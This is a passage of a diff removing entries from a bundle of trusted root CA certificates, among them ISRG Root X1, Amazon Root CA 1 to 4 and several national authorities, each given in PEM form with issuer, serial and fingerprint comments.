-M4GwVhO+5lFc2JsKT0ucVlMC6U/2DWDqTUJV6HwbISHTGzrMd/K4kPFox/la/vot -9L/J9UUbzjgQKjeKeaO04wlshYaT/4mWJ3iBj2fjRnRUjtkNaeJK9E10A/+yd+2V -Z5fkscWrv2oj6NSU4kQoYsRL4vDY4ilrGnB+JGGTe08DMiUNRSQrlrRGar9KC/ea -j8GsGsVn82800vpzY4zvFrCopEYq+OsS7HK07/grfoxSwIuEVPkvPuNVqNxmsdnh -X9izjFk0WaSrT2y7HxjbdavYy5LNlDhhDgcGH0tGEPEVvo2FXDtKK4F5D7Rpn0lQ -l033DlZdwJVqwjbDG2jJ9SrcR5q+ss7FJej6A7na+RZukYT1HCjI/CbM1xyQVqdf -bzoEvM14iQuODy+jqk+iGxI9FghAD/FGTNeqewjBCvVtJ94Cj8rDtSvK6evIIVM4 -pcw72Hc3MKJP2W/R8kCtQXoXxdZKNYm3QdV8hn9VTYNKpXMgwDqvkPGaJI7ZjnHK -e7iG2rKPmT4dEw0SEe7Uq/DpFXYC5ODfqiAeW2GFZECpkJcNrVPSWh2HagCXZWK0 -vm9qp/UsQu0yrbYhnr68 ------END CERTIFICATE----- - -# Issuer: CN=Hellenic Academic and Research Institutions ECC RootCA 2015 O=Hellenic Academic and Research Institutions Cert. Authority -# Subject: CN=Hellenic Academic and Research Institutions ECC RootCA 2015 O=Hellenic Academic and Research Institutions Cert. Authority -# Label: "Hellenic Academic and Research Institutions ECC RootCA 2015" -# Serial: 0 -# MD5 Fingerprint: 81:e5:b4:17:eb:c2:f5:e1:4b:0d:41:7b:49:92:fe:ef -# SHA1 Fingerprint: 9f:f1:71:8d:92:d5:9a:f3:7d:74:97:b4:bc:6f:84:68:0b:ba:b6:66 -# SHA256 Fingerprint: 44:b5:45:aa:8a:25:e6:5a:73:ca:15:dc:27:fc:36:d2:4c:1c:b9:95:3a:06:65:39:b1:15:82:dc:48:7b:48:33 ------BEGIN CERTIFICATE----- -MIICwzCCAkqgAwIBAgIBADAKBggqhkjOPQQDAjCBqjELMAkGA1UEBhMCR1IxDzAN -BgNVBAcTBkF0aGVuczFEMEIGA1UEChM7SGVsbGVuaWMgQWNhZGVtaWMgYW5kIFJl -c2VhcmNoIEluc3RpdHV0aW9ucyBDZXJ0LiBBdXRob3JpdHkxRDBCBgNVBAMTO0hl -bGxlbmljIEFjYWRlbWljIGFuZCBSZXNlYXJjaCBJbnN0aXR1dGlvbnMgRUNDIFJv -b3RDQSAyMDE1MB4XDTE1MDcwNzEwMzcxMloXDTQwMDYzMDEwMzcxMlowgaoxCzAJ -BgNVBAYTAkdSMQ8wDQYDVQQHEwZBdGhlbnMxRDBCBgNVBAoTO0hlbGxlbmljIEFj -YWRlbWljIGFuZCBSZXNlYXJjaCBJbnN0aXR1dGlvbnMgQ2VydC4gQXV0aG9yaXR5 -MUQwQgYDVQQDEztIZWxsZW5pYyBBY2FkZW1pYyBhbmQgUmVzZWFyY2ggSW5zdGl0 -dXRpb25zIEVDQyBSb290Q0EgMjAxNTB2MBAGByqGSM49AgEGBSuBBAAiA2IABJKg -QehLgoRc4vgxEZmGZE4JJS+dQS8KrjVPdJWyUWRrjWvmP3CV8AVER6ZyOFB2lQJa -jq4onvktTpnvLEhvTCUp6NFxW98dwXU3tNf6e3pCnGoKVlp8aQuqgAkkbH7BRqNC -MEAwDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMCAQYwHQYDVR0OBBYEFLQi -C4KZJAEOnLvkDv2/+5cgk5kqMAoGCCqGSM49BAMCA2cAMGQCMGfOFmI4oqxiRaep -lSTAGiecMjvAwNW6qef4BENThe5SId6d9SWDPp5YSy/XZxMOIQIwBeF1Ad5o7Sof -TUwJCA3sS61kFyjndc5FZXIhF8siQQ6ME5g4mlRtm8rifOoCWCKR ------END CERTIFICATE----- - -# Issuer: CN=ISRG Root X1 O=Internet Security Research Group -# Subject: CN=ISRG Root X1 O=Internet Security Research Group -# Label: "ISRG Root X1" -# Serial: 172886928669790476064670243504169061120 -# MD5 Fingerprint: 0c:d2:f9:e0:da:17:73:e9:ed:86:4d:a5:e3:70:e7:4e -# SHA1 Fingerprint: ca:bd:2a:79:a1:07:6a:31:f2:1d:25:36:35:cb:03:9d:43:29:a5:e8 -# SHA256 Fingerprint: 96:bc:ec:06:26:49:76:f3:74:60:77:9a:cf:28:c5:a7:cf:e8:a3:c0:aa:e1:1a:8f:fc:ee:05:c0:bd:df:08:c6 ------BEGIN CERTIFICATE----- -MIIFazCCA1OgAwIBAgIRAIIQz7DSQONZRGPgu2OCiwAwDQYJKoZIhvcNAQELBQAw -TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh -cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMTUwNjA0MTEwNDM4 -WhcNMzUwNjA0MTEwNDM4WjBPMQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJu -ZXQgU2VjdXJpdHkgUmVzZWFyY2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBY -MTCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBAK3oJHP0FDfzm54rVygc -h77ct984kIxuPOZXoHj3dcKi/vVqbvYATyjb3miGbESTtrFj/RQSa78f0uoxmyF+ -0TM8ukj13Xnfs7j/EvEhmkvBioZxaUpmZmyPfjxwv60pIgbz5MDmgK7iS4+3mX6U -A5/TR5d8mUgjU+g4rk8Kb4Mu0UlXjIB0ttov0DiNewNwIRt18jA8+o+u3dpjq+sW -T8KOEUt+zwvo/7V3LvSye0rgTBIlDHCNAymg4VMk7BPZ7hm/ELNKjD+Jo2FR3qyH -B5T0Y3HsLuJvW5iB4YlcNHlsdu87kGJ55tukmi8mxdAQ4Q7e2RCOFvu396j3x+UC -B5iPNgiV5+I3lg02dZ77DnKxHZu8A/lJBdiB3QW0KtZB6awBdpUKD9jf1b0SHzUv -KBds0pjBqAlkd25HN7rOrFleaJ1/ctaJxQZBKT5ZPt0m9STJEadao0xAH0ahmbWn -OlFuhjuefXKnEgV4We0+UXgVCwOPjdAvBbI+e0ocS3MFEvzG6uBQE3xDk3SzynTn -jh8BCNAw1FtxNrQHusEwMFxIt4I7mKZ9YIqioymCzLq9gwQbooMDQaHWBfEbwrbw -qHyGO0aoSCqI3Haadr8faqU9GY/rOPNk3sgrDQoo//fb4hVC1CLQJ13hef4Y53CI -rU7m2Ys6xt0nUW7/vGT1M0NPAgMBAAGjQjBAMA4GA1UdDwEB/wQEAwIBBjAPBgNV -HRMBAf8EBTADAQH/MB0GA1UdDgQWBBR5tFnme7bl5AFzgAiIyBpY9umbbjANBgkq -hkiG9w0BAQsFAAOCAgEAVR9YqbyyqFDQDLHYGmkgJykIrGF1XIpu+ILlaS/V9lZL -ubhzEFnTIZd+50xx+7LSYK05qAvqFyFWhfFQDlnrzuBZ6brJFe+GnY+EgPbk6ZGQ -3BebYhtF8GaV0nxvwuo77x/Py9auJ/GpsMiu/X1+mvoiBOv/2X/qkSsisRcOj/KK -NFtY2PwByVS5uCbMiogziUwthDyC3+6WVwW6LLv3xLfHTjuCvjHIInNzktHCgKQ5 -ORAzI4JMPJ+GslWYHb4phowim57iaztXOoJwTdwJx4nLCgdNbOhdjsnvzqvHu7Ur -TkXWStAmzOVyyghqpZXjFaH3pO3JLF+l+/+sKAIuvtd7u+Nxe5AW0wdeRlN8NwdC -jNPElpzVmbUq4JUagEiuTDkHzsxHpFKVK7q4+63SM1N95R1NbdWhscdCb+ZAJzVc -oyi3B43njTOQ5yOf+1CceWxG1bQVs5ZufpsMljq4Ui0/1lvh+wjChP4kqKOJ2qxq -4RgqsahDYVvTH9w7jXbyLeiNdd8XM2w9U/t7y0Ff/9yi0GE44Za4rF2LN9d11TPA -mRGunUHBcnWEvgJBQl9nJEiU0Zsnvgc/ubhPgXRR4Xq37Z0j4r7g1SgEEzwxA57d -emyPxgcYxn/eR44/KJ4EBs+lVDR3veyJm+kXQ99b21/+jh5Xos1AnX5iItreGCc= ------END CERTIFICATE----- - -# Issuer: O=FNMT-RCM OU=AC RAIZ FNMT-RCM -# Subject: O=FNMT-RCM OU=AC RAIZ FNMT-RCM -# Label: "AC RAIZ FNMT-RCM" -# Serial: 485876308206448804701554682760554759 -# MD5 Fingerprint: e2:09:04:b4:d3:bd:d1:a0:14:fd:1a:d2:47:c4:57:1d -# SHA1 Fingerprint: ec:50:35:07:b2:15:c4:95:62:19:e2:a8:9a:5b:42:99:2c:4c:2c:20 -# SHA256 Fingerprint: eb:c5:57:0c:29:01:8c:4d:67:b1:aa:12:7b:af:12:f7:03:b4:61:1e:bc:17:b7:da:b5:57:38:94:17:9b:93:fa ------BEGIN CERTIFICATE----- -MIIFgzCCA2ugAwIBAgIPXZONMGc2yAYdGsdUhGkHMA0GCSqGSIb3DQEBCwUAMDsx -CzAJBgNVBAYTAkVTMREwDwYDVQQKDAhGTk1ULVJDTTEZMBcGA1UECwwQQUMgUkFJ -WiBGTk1ULVJDTTAeFw0wODEwMjkxNTU5NTZaFw0zMDAxMDEwMDAwMDBaMDsxCzAJ -BgNVBAYTAkVTMREwDwYDVQQKDAhGTk1ULVJDTTEZMBcGA1UECwwQQUMgUkFJWiBG -Tk1ULVJDTTCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBALpxgHpMhm5/ -yBNtwMZ9HACXjywMI7sQmkCpGreHiPibVmr75nuOi5KOpyVdWRHbNi63URcfqQgf -BBckWKo3Shjf5TnUV/3XwSyRAZHiItQDwFj8d0fsjz50Q7qsNI1NOHZnjrDIbzAz -WHFctPVrbtQBULgTfmxKo0nRIBnuvMApGGWn3v7v3QqQIecaZ5JCEJhfTzC8PhxF -tBDXaEAUwED653cXeuYLj2VbPNmaUtu1vZ5Gzz3rkQUCwJaydkxNEJY7kvqcfw+Z -374jNUUeAlz+taibmSXaXvMiwzn15Cou08YfxGyqxRxqAQVKL9LFwag0Jl1mpdIC -IfkYtwb1TplvqKtMUejPUBjFd8g5CSxJkjKZqLsXF3mwWsXmo8RZZUc1g16p6DUL -mbvkzSDGm0oGObVo/CK67lWMK07q87Hj/LaZmtVC+nFNCM+HHmpxffnTtOmlcYF7 -wk5HlqX2doWjKI/pgG6BU6VtX7hI+cL5NqYuSf+4lsKMB7ObiFj86xsc3i1w4peS -MKGJ47xVqCfWS+2QrYv6YyVZLag13cqXM7zlzced0ezvXg5KkAYmY6252TUtB7p2 -ZSysV4999AeU14ECll2jB0nVetBX+RvnU0Z1qrB5QstocQjpYL05ac70r8NWQMet -UqIJ5G+GR4of6ygnXYMgrwTJbFaai0b1AgMBAAGjgYMwgYAwDwYDVR0TAQH/BAUw -AwEB/zAOBgNVHQ8BAf8EBAMCAQYwHQYDVR0OBBYEFPd9xf3E6Jobd2Sn9R2gzL+H -YJptMD4GA1UdIAQ3MDUwMwYEVR0gADArMCkGCCsGAQUFBwIBFh1odHRwOi8vd3d3 -LmNlcnQuZm5tdC5lcy9kcGNzLzANBgkqhkiG9w0BAQsFAAOCAgEAB5BK3/MjTvDD -nFFlm5wioooMhfNzKWtN/gHiqQxjAb8EZ6WdmF/9ARP67Jpi6Yb+tmLSbkyU+8B1 -RXxlDPiyN8+sD8+Nb/kZ94/sHvJwnvDKuO+3/3Y3dlv2bojzr2IyIpMNOmqOFGYM -LVN0V2Ue1bLdI4E7pWYjJ2cJj+F3qkPNZVEI7VFY/uY5+ctHhKQV8Xa7pO6kO8Rf -77IzlhEYt8llvhjho6Tc+hj507wTmzl6NLrTQfv6MooqtyuGC2mDOL7Nii4LcK2N -JpLuHvUBKwrZ1pebbuCoGRw6IYsMHkCtA+fdZn71uSANA+iW+YJF1DngoABd15jm -fZ5nc8OaKveri6E6FO80vFIOiZiaBECEHX5FaZNXzuvO+FB8TxxuBEOb+dY7Ixjp -6o7RTUaN8Tvkasq6+yO3m/qZASlaWFot4/nUbQ4mrcFuNLwy+AwF+mWj2zs3gyLp -1txyM/1d8iC9djwj2ij3+RvrWWTV3F9yfiD8zYm1kGdNYno/Tq0dwzn+evQoFt9B -9kiABdcPUXmsEKvU7ANm5mqwujGSQkBqvjrTcuFqN1W8rB2Vt2lh8kORdOag0wok -RqEIr9baRRmW1FMdW4R58MD3R++Lj8UGrp1MYp3/RgT408m2ECVAdf4WqslKYIYv -uu8wd+RU4riEmViAqhOLUTpPSPaLtrM= ------END CERTIFICATE----- - -# Issuer: CN=Amazon Root CA 1 O=Amazon -# Subject: CN=Amazon Root CA 1 O=Amazon -# Label: "Amazon Root CA 1" -# Serial: 143266978916655856878034712317230054538369994 -# MD5 Fingerprint: 43:c6:bf:ae:ec:fe:ad:2f:18:c6:88:68:30:fc:c8:e6 -# SHA1 Fingerprint: 8d:a7:f9:65:ec:5e:fc:37:91:0f:1c:6e:59:fd:c1:cc:6a:6e:de:16 -# SHA256 Fingerprint: 8e:cd:e6:88:4f:3d:87:b1:12:5b:a3:1a:c3:fc:b1:3d:70:16:de:7f:57:cc:90:4f:e1:cb:97:c6:ae:98:19:6e ------BEGIN CERTIFICATE----- -MIIDQTCCAimgAwIBAgITBmyfz5m/jAo54vB4ikPmljZbyjANBgkqhkiG9w0BAQsF -ADA5MQswCQYDVQQGEwJVUzEPMA0GA1UEChMGQW1hem9uMRkwFwYDVQQDExBBbWF6 -b24gUm9vdCBDQSAxMB4XDTE1MDUyNjAwMDAwMFoXDTM4MDExNzAwMDAwMFowOTEL -MAkGA1UEBhMCVVMxDzANBgNVBAoTBkFtYXpvbjEZMBcGA1UEAxMQQW1hem9uIFJv -b3QgQ0EgMTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALJ4gHHKeNXj -ca9HgFB0fW7Y14h29Jlo91ghYPl0hAEvrAIthtOgQ3pOsqTQNroBvo3bSMgHFzZM -9O6II8c+6zf1tRn4SWiw3te5djgdYZ6k/oI2peVKVuRF4fn9tBb6dNqcmzU5L/qw -IFAGbHrQgLKm+a/sRxmPUDgH3KKHOVj4utWp+UhnMJbulHheb4mjUcAwhmahRWa6 -VOujw5H5SNz/0egwLX0tdHA114gk957EWW67c4cX8jJGKLhD+rcdqsq08p8kDi1L -93FcXmn/6pUCyziKrlA4b9v7LWIbxcceVOF34GfID5yHI9Y/QCB/IIDEgEw+OyQm -jgSubJrIqg0CAwEAAaNCMEAwDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMC -AYYwHQYDVR0OBBYEFIQYzIU07LwMlJQuCFmcx7IQTgoIMA0GCSqGSIb3DQEBCwUA -A4IBAQCY8jdaQZChGsV2USggNiMOruYou6r4lK5IpDB/G/wkjUu0yKGX9rbxenDI -U5PMCCjjmCXPI6T53iHTfIUJrU6adTrCC2qJeHZERxhlbI1Bjjt/msv0tadQ1wUs -N+gDS63pYaACbvXy8MWy7Vu33PqUXHeeE6V/Uq2V8viTO96LXFvKWlJbYK8U90vv -o/ufQJVtMVT8QtPHRh8jrdkPSHCa2XV4cdFyQzR1bldZwgJcJmApzyMZFo6IQ6XU -5MsI+yMRQ+hDKXJioaldXgjUkK642M4UwtBV8ob2xJNDd2ZhwLnoQdeXeGADbkpy -rqXRfboQnoZsG4q5WTP468SQvvG5 ------END CERTIFICATE----- - -# Issuer: CN=Amazon Root CA 2 O=Amazon -# Subject: CN=Amazon Root CA 2 O=Amazon -# Label: "Amazon Root CA 2" -# Serial: 143266982885963551818349160658925006970653239 -# MD5 Fingerprint: c8:e5:8d:ce:a8:42:e2:7a:c0:2a:5c:7c:9e:26:bf:66 -# SHA1 Fingerprint: 5a:8c:ef:45:d7:a6:98:59:76:7a:8c:8b:44:96:b5:78:cf:47:4b:1a -# SHA256 Fingerprint: 1b:a5:b2:aa:8c:65:40:1a:82:96:01:18:f8:0b:ec:4f:62:30:4d:83:ce:c4:71:3a:19:c3:9c:01:1e:a4:6d:b4 ------BEGIN CERTIFICATE----- -MIIFQTCCAymgAwIBAgITBmyf0pY1hp8KD+WGePhbJruKNzANBgkqhkiG9w0BAQwF -ADA5MQswCQYDVQQGEwJVUzEPMA0GA1UEChMGQW1hem9uMRkwFwYDVQQDExBBbWF6 -b24gUm9vdCBDQSAyMB4XDTE1MDUyNjAwMDAwMFoXDTQwMDUyNjAwMDAwMFowOTEL -MAkGA1UEBhMCVVMxDzANBgNVBAoTBkFtYXpvbjEZMBcGA1UEAxMQQW1hem9uIFJv -b3QgQ0EgMjCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBAK2Wny2cSkxK -gXlRmeyKy2tgURO8TW0G/LAIjd0ZEGrHJgw12MBvIITplLGbhQPDW9tK6Mj4kHbZ -W0/jTOgGNk3Mmqw9DJArktQGGWCsN0R5hYGCrVo34A3MnaZMUnbqQ523BNFQ9lXg -1dKmSYXpN+nKfq5clU1Imj+uIFptiJXZNLhSGkOQsL9sBbm2eLfq0OQ6PBJTYv9K -8nu+NQWpEjTj82R0Yiw9AElaKP4yRLuH3WUnAnE72kr3H9rN9yFVkE8P7K6C4Z9r -2UXTu/Bfh+08LDmG2j/e7HJV63mjrdvdfLC6HM783k81ds8P+HgfajZRRidhW+me -z/CiVX18JYpvL7TFz4QuK/0NURBs+18bvBt+xa47mAExkv8LV/SasrlX6avvDXbR -8O70zoan4G7ptGmh32n2M8ZpLpcTnqWHsFcQgTfJU7O7f/aS0ZzQGPSSbtqDT6Zj -mUyl+17vIWR6IF9sZIUVyzfpYgwLKhbcAS4y2j5L9Z469hdAlO+ekQiG+r5jqFoz -7Mt0Q5X5bGlSNscpb/xVA1wf+5+9R+vnSUeVC06JIglJ4PVhHvG/LopyboBZ/1c6 -+XUyo05f7O0oYtlNc/LMgRdg7c3r3NunysV+Ar3yVAhU/bQtCSwXVEqY0VThUWcI -0u1ufm8/0i2BWSlmy5A5lREedCf+3euvAgMBAAGjQjBAMA8GA1UdEwEB/wQFMAMB -Af8wDgYDVR0PAQH/BAQDAgGGMB0GA1UdDgQWBBSwDPBMMPQFWAJI/TPlUq9LhONm -UjANBgkqhkiG9w0BAQwFAAOCAgEAqqiAjw54o+Ci1M3m9Zh6O+oAA7CXDpO8Wqj2 -LIxyh6mx/H9z/WNxeKWHWc8w4Q0QshNabYL1auaAn6AFC2jkR2vHat+2/XcycuUY -+gn0oJMsXdKMdYV2ZZAMA3m3MSNjrXiDCYZohMr/+c8mmpJ5581LxedhpxfL86kS -k5Nrp+gvU5LEYFiwzAJRGFuFjWJZY7attN6a+yb3ACfAXVU3dJnJUH/jWS5E4ywl -7uxMMne0nxrpS10gxdr9HIcWxkPo1LsmmkVwXqkLN1PiRnsn/eBG8om3zEK2yygm -btmlyTrIQRNg91CMFa6ybRoVGld45pIq2WWQgj9sAq+uEjonljYE1x2igGOpm/Hl -urR8FLBOybEfdF849lHqm/osohHUqS0nGkWxr7JOcQ3AWEbWaQbLU8uz/mtBzUF+ -fUwPfHJ5elnNXkoOrJupmHN5fLT0zLm4BwyydFy4x2+IoZCn9Kr5v2c69BoVYh63 -n749sSmvZ6ES8lgQGVMDMBu4Gon2nL2XA46jCfMdiyHxtN/kHNGfZQIG6lzWE7OE -76KlXIx3KadowGuuQNKotOrN8I1LOJwZmhsoVLiJkO/KdYE+HvJkJMcYr07/R54H -9jVlpNMKVv/1F2Rs76giJUmTtt8AF9pYfl3uxRuw0dFfIRDH+fO6AgonB8Xx1sfT -4PsJYGw= ------END CERTIFICATE----- - -# Issuer: CN=Amazon Root CA 3 O=Amazon -# Subject: CN=Amazon Root CA 3 O=Amazon -# Label: "Amazon Root CA 3" -# Serial: 143266986699090766294700635381230934788665930 -# MD5 Fingerprint: a0:d4:ef:0b:f7:b5:d8:49:95:2a:ec:f5:c4:fc:81:87 -# SHA1 Fingerprint: 0d:44:dd:8c:3c:8c:1a:1a:58:75:64:81:e9:0f:2e:2a:ff:b3:d2:6e -# SHA256 Fingerprint: 18:ce:6c:fe:7b:f1:4e:60:b2:e3:47:b8:df:e8:68:cb:31:d0:2e:bb:3a:da:27:15:69:f5:03:43:b4:6d:b3:a4 ------BEGIN CERTIFICATE----- -MIIBtjCCAVugAwIBAgITBmyf1XSXNmY/Owua2eiedgPySjAKBggqhkjOPQQDAjA5 -MQswCQYDVQQGEwJVUzEPMA0GA1UEChMGQW1hem9uMRkwFwYDVQQDExBBbWF6b24g -Um9vdCBDQSAzMB4XDTE1MDUyNjAwMDAwMFoXDTQwMDUyNjAwMDAwMFowOTELMAkG -A1UEBhMCVVMxDzANBgNVBAoTBkFtYXpvbjEZMBcGA1UEAxMQQW1hem9uIFJvb3Qg -Q0EgMzBZMBMGByqGSM49AgEGCCqGSM49AwEHA0IABCmXp8ZBf8ANm+gBG1bG8lKl -ui2yEujSLtf6ycXYqm0fc4E7O5hrOXwzpcVOho6AF2hiRVd9RFgdszflZwjrZt6j -QjBAMA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgGGMB0GA1UdDgQWBBSr -ttvXBp43rDCGB5Fwx5zEGbF4wDAKBggqhkjOPQQDAgNJADBGAiEA4IWSoxe3jfkr -BqWTrBqYaGFy+uGh0PsceGCmQ5nFuMQCIQCcAu/xlJyzlvnrxir4tiz+OpAUFteM -YyRIHN8wfdVoOw== ------END CERTIFICATE----- - -# Issuer: CN=Amazon Root CA 4 O=Amazon -# Subject: CN=Amazon Root CA 4 O=Amazon -# Label: "Amazon Root CA 4" -# Serial: 143266989758080763974105200630763877849284878 -# MD5 Fingerprint: 89:bc:27:d5:eb:17:8d:06:6a:69:d5:fd:89:47:b4:cd -# SHA1 Fingerprint: f6:10:84:07:d6:f8:bb:67:98:0c:c2:e2:44:c2:eb:ae:1c:ef:63:be -# SHA256 Fingerprint: e3:5d:28:41:9e:d0:20:25:cf:a6:90:38:cd:62:39:62:45:8d:a5:c6:95:fb:de:a3:c2:2b:0b:fb:25:89:70:92 ------BEGIN CERTIFICATE----- -MIIB8jCCAXigAwIBAgITBmyf18G7EEwpQ+Vxe3ssyBrBDjAKBggqhkjOPQQDAzA5 -MQswCQYDVQQGEwJVUzEPMA0GA1UEChMGQW1hem9uMRkwFwYDVQQDExBBbWF6b24g -Um9vdCBDQSA0MB4XDTE1MDUyNjAwMDAwMFoXDTQwMDUyNjAwMDAwMFowOTELMAkG -A1UEBhMCVVMxDzANBgNVBAoTBkFtYXpvbjEZMBcGA1UEAxMQQW1hem9uIFJvb3Qg -Q0EgNDB2MBAGByqGSM49AgEGBSuBBAAiA2IABNKrijdPo1MN/sGKe0uoe0ZLY7Bi -9i0b2whxIdIA6GO9mif78DluXeo9pcmBqqNbIJhFXRbb/egQbeOc4OO9X4Ri83Bk -M6DLJC9wuoihKqB1+IGuYgbEgds5bimwHvouXKNCMEAwDwYDVR0TAQH/BAUwAwEB -/zAOBgNVHQ8BAf8EBAMCAYYwHQYDVR0OBBYEFNPsxzplbszh2naaVvuc84ZtV+WB -MAoGCCqGSM49BAMDA2gAMGUCMDqLIfG9fhGt0O9Yli/W651+kI0rz2ZVwyzjKKlw -CkcO8DdZEv8tmZQoTipPNU0zWgIxAOp1AE47xDqUEpHJWEadIRNyp4iciuRMStuW -1KyLa2tJElMzrdfkviT8tQp21KW8EA== ------END CERTIFICATE----- - -# Issuer: CN=TUBITAK Kamu SM SSL Kok Sertifikasi - Surum 1 O=Turkiye Bilimsel ve Teknolojik Arastirma Kurumu - TUBITAK OU=Kamu Sertifikasyon Merkezi - Kamu SM -# Subject: CN=TUBITAK Kamu SM SSL Kok Sertifikasi - Surum 1 O=Turkiye Bilimsel ve Teknolojik Arastirma Kurumu - TUBITAK OU=Kamu Sertifikasyon Merkezi - Kamu SM -# Label: "TUBITAK Kamu SM SSL Kok Sertifikasi - Surum 1" -# Serial: 1 -# MD5 Fingerprint: dc:00:81:dc:69:2f:3e:2f:b0:3b:f6:3d:5a:91:8e:49 -# SHA1 Fingerprint: 31:43:64:9b:ec:ce:27:ec:ed:3a:3f:0b:8f:0d:e4:e8:91:dd:ee:ca -# SHA256 Fingerprint: 46:ed:c3:68:90:46:d5:3a:45:3f:b3:10:4a:b8:0d:ca:ec:65:8b:26:60:ea:16:29:dd:7e:86:79:90:64:87:16 ------BEGIN CERTIFICATE----- -MIIEYzCCA0ugAwIBAgIBATANBgkqhkiG9w0BAQsFADCB0jELMAkGA1UEBhMCVFIx -GDAWBgNVBAcTD0dlYnplIC0gS29jYWVsaTFCMEAGA1UEChM5VHVya2l5ZSBCaWxp -bXNlbCB2ZSBUZWtub2xvamlrIEFyYXN0aXJtYSBLdXJ1bXUgLSBUVUJJVEFLMS0w -KwYDVQQLEyRLYW11IFNlcnRpZmlrYXN5b24gTWVya2V6aSAtIEthbXUgU00xNjA0 -BgNVBAMTLVRVQklUQUsgS2FtdSBTTSBTU0wgS29rIFNlcnRpZmlrYXNpIC0gU3Vy -dW0gMTAeFw0xMzExMjUwODI1NTVaFw00MzEwMjUwODI1NTVaMIHSMQswCQYDVQQG -EwJUUjEYMBYGA1UEBxMPR2ViemUgLSBLb2NhZWxpMUIwQAYDVQQKEzlUdXJraXll -IEJpbGltc2VsIHZlIFRla25vbG9qaWsgQXJhc3Rpcm1hIEt1cnVtdSAtIFRVQklU -QUsxLTArBgNVBAsTJEthbXUgU2VydGlmaWthc3lvbiBNZXJrZXppIC0gS2FtdSBT -TTE2MDQGA1UEAxMtVFVCSVRBSyBLYW11IFNNIFNTTCBLb2sgU2VydGlmaWthc2kg -LSBTdXJ1bSAxMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAr3UwM6q7 -a9OZLBI3hNmNe5eA027n/5tQlT6QlVZC1xl8JoSNkvoBHToP4mQ4t4y86Ij5iySr -LqP1N+RAjhgleYN1Hzv/bKjFxlb4tO2KRKOrbEz8HdDc72i9z+SqzvBV96I01INr -N3wcwv61A+xXzry0tcXtAA9TNypN9E8Mg/uGz8v+jE69h/mniyFXnHrfA2eJLJ2X -YacQuFWQfw4tJzh03+f92k4S400VIgLI4OD8D62K18lUUMw7D8oWgITQUVbDjlZ/ -iSIzL+aFCr2lqBs23tPcLG07xxO9WSMs5uWk99gL7eqQQESolbuT1dCANLZGeA4f -AJNG4e7p+exPFwIDAQABo0IwQDAdBgNVHQ4EFgQUZT/HiobGPN08VFw1+DrtUgxH -V8gwDgYDVR0PAQH/BAQDAgEGMA8GA1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQEL -BQADggEBACo/4fEyjq7hmFxLXs9rHmoJ0iKpEsdeV31zVmSAhHqT5Am5EM2fKifh -AHe+SMg1qIGf5LgsyX8OsNJLN13qudULXjS99HMpw+0mFZx+CFOKWI3QSyjfwbPf -IPP54+M638yclNhOT8NrF7f3cuitZjO1JVOr4PhMqZ398g26rrnZqsZr+ZO7rqu4 -lzwDGrpDxpa5RXI4s6ehlj2Re37AIVNMh+3yC1SVUZPVIqUNivGTDj5UDrDYyU7c -8jEyVupk+eq1nRZmQnLzf9OxMUP8pI4X8W0jq5Rm+K37DwhuJi1/FwcJsoz7UMCf -lo3Ptv0AnVoUmr8CRPXBwp8iXqIPoeM= ------END CERTIFICATE----- - -# Issuer: CN=GDCA TrustAUTH R5 ROOT O=GUANG DONG CERTIFICATE AUTHORITY CO.,LTD. -# Subject: CN=GDCA TrustAUTH R5 ROOT O=GUANG DONG CERTIFICATE AUTHORITY CO.,LTD. -# Label: "GDCA TrustAUTH R5 ROOT" -# Serial: 9009899650740120186 -# MD5 Fingerprint: 63:cc:d9:3d:34:35:5c:6f:53:a3:e2:08:70:48:1f:b4 -# SHA1 Fingerprint: 0f:36:38:5b:81:1a:25:c3:9b:31:4e:83:ca:e9:34:66:70:cc:74:b4 -# SHA256 Fingerprint: bf:ff:8f:d0:44:33:48:7d:6a:8a:a6:0c:1a:29:76:7a:9f:c2:bb:b0:5e:42:0f:71:3a:13:b9:92:89:1d:38:93 ------BEGIN CERTIFICATE----- -MIIFiDCCA3CgAwIBAgIIfQmX/vBH6nowDQYJKoZIhvcNAQELBQAwYjELMAkGA1UE -BhMCQ04xMjAwBgNVBAoMKUdVQU5HIERPTkcgQ0VSVElGSUNBVEUgQVVUSE9SSVRZ -IENPLixMVEQuMR8wHQYDVQQDDBZHRENBIFRydXN0QVVUSCBSNSBST09UMB4XDTE0 -MTEyNjA1MTMxNVoXDTQwMTIzMTE1NTk1OVowYjELMAkGA1UEBhMCQ04xMjAwBgNV -BAoMKUdVQU5HIERPTkcgQ0VSVElGSUNBVEUgQVVUSE9SSVRZIENPLixMVEQuMR8w -HQYDVQQDDBZHRENBIFRydXN0QVVUSCBSNSBST09UMIICIjANBgkqhkiG9w0BAQEF -AAOCAg8AMIICCgKCAgEA2aMW8Mh0dHeb7zMNOwZ+Vfy1YI92hhJCfVZmPoiC7XJj -Dp6L3TQsAlFRwxn9WVSEyfFrs0yw6ehGXTjGoqcuEVe6ghWinI9tsJlKCvLriXBj -TnnEt1u9ol2x8kECK62pOqPseQrsXzrj/e+APK00mxqriCZ7VqKChh/rNYmDf1+u -KU49tm7srsHwJ5uu4/Ts765/94Y9cnrrpftZTqfrlYwiOXnhLQiPzLyRuEH3FMEj -qcOtmkVEs7LXLM3GKeJQEK5cy4KOFxg2fZfmiJqwTTQJ9Cy5WmYqsBebnh52nUpm -MUHfP/vFBu8btn4aRjb3ZGM74zkYI+dndRTVdVeSN72+ahsmUPI2JgaQxXABZG12 -ZuGR224HwGGALrIuL4xwp9E7PLOR5G62xDtw8mySlwnNR30YwPO7ng/Wi64HtloP -zgsMR6flPri9fcebNaBhlzpBdRfMK5Z3KpIhHtmVdiBnaM8Nvd/WHwlqmuLMc3Gk 